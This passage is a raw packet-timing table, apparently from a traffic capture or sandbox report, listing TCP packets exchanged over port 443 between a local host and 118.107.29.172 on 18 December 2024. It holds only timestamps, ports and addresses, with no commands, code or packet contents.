Dec 18, 2024 13:21:11.998476982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:11.998486996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:11.999887943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.003999949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.004013062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.004059076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.004069090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.004093885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.004108906 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.139863968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.139887094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.140007019 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.140022993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.140059948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.162386894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.162406921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.162467957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.162483931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.162497997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.162545919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.168262005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.168276072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.168354034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.168360949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.168410063 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.173434019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.173449039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.173538923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.173544884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.177591085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.179224968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.179239988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.179296970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.179302931 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.179321051 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.179338932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.185905933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.185920000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.185987949 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.185993910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.186028957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.190788031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.190800905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.190865040 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.190871000 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.190905094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.196611881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.196626902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.196676970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.196683884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.196722031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.334027052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.334043980 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.334100962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.334115982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.334127903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.334151030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.356515884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.356533051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.356590986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.356596947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.356622934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.356637001 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.362438917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.362452984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.362498999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.362503052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.362535000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.362546921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.367788076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.367803097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.367850065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.367856026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.367887020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.367909908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.374093056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.374109030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.374206066 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.374212027 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.374234915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.374248028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.379527092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.379547119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.379631042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.379631042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.379637957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.379681110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.385248899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.385271072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.385323048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.385328054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.385360956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.385377884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.390708923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.390726089 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.390786886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.390790939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.390816927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.390837908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.524240971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.524257898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.524310112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.524316072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.524342060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.524362087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.547175884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.547199965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.547282934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.547282934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.547291040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.547415972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.552761078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.552783966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.552839041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.552845001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.552882910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.558300018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.558312893 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.558407068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.558420897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.558478117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.563868046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.563880920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.564033985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.564049959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.564141035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.569331884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.569346905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.569391012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.569401979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.569421053 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.569439888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.575006962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.575048923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.575083017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.575093031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.575117111 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.575135946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.580786943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.580828905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.580853939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.580873966 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.580905914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.580956936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.717202902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.717228889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.717283010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.717303038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.717315912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.717526913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.739583969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.739603996 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.739655972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.739665031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.739695072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.739713907 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.745745897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.745762110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.745805025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.745810986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.745840073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.745858908 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.751276970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.751292944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.751347065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.751353979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.752180099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.757174969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.757189035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.757249117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.757271051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.757329941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.763636112 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.763649940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.763720989 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.763729095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.763776064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.768421888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.768436909 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.768495083 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.768501043 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.768548012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.774883032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.774898052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.774966955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.774972916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.775099993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.909744024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.909765005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.909831047 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.909837961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.909897089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.932270050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.932286024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.932346106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.932359934 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.932406902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.938114882 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.938128948 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.938180923 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.938188076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.938262939 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.944350958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.944366932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.944422007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.944427967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.944540024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.949173927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.949189901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.949246883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.949254036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.949389935 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.955471992 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.955486059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.955549002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.955554962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.955595016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.959573030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.959588051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.959651947 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.959657907 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.959757090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.965514898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.965528965 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.965589046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:12.965595007 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:12.965900898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.104114056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.104134083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.104197025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.104207039 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.104309082 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.124537945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.124588013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.124624014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.124630928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.124658108 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.124677896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.129960060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.130011082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.130044937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.130052090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.130080938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.130100012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.135446072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.135478973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.135524988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.135530949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.135574102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.140358925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.140400887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.140487909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.140499115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.140522957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.140547991 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.146337032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.146378040 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.146435976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.146445990 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.146459103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.146482944 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.151941061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.151984930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.152043104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.152051926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.152175903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.157819033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.157852888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.157923937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.157938004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.157979012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.296819925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.296858072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.296904087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.296932936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.296950102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.297055006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.316489935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.316523075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.316557884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.316565037 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.316596031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.316615105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.323870897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.323904991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.323951006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.323957920 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.323987961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.324007034 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.329663038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.329698086 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.329735994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.329742908 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.329773903 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.329786062 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.335022926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.335067987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.335097075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.335103989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.335149050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.340423107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.340456009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.340493917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.340502024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.340537071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.340558052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.344526052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.344562054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.344594002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.344599962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.344634056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.344646931 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.349869013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.349903107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.349935055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.349941015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.349970102 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.349984884 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.495913982 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.495948076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.495992899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.496001959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.496052980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.517438889 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.517505884 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.517528057 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.517535925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.517615080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.522290945 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.522336960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.522386074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.522391081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.522418022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.522432089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.528151989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.528194904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.528228998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.528234005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:13.528295994 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:13.533936977 CET	443	49723	118.107.29.172	192.168.2.10
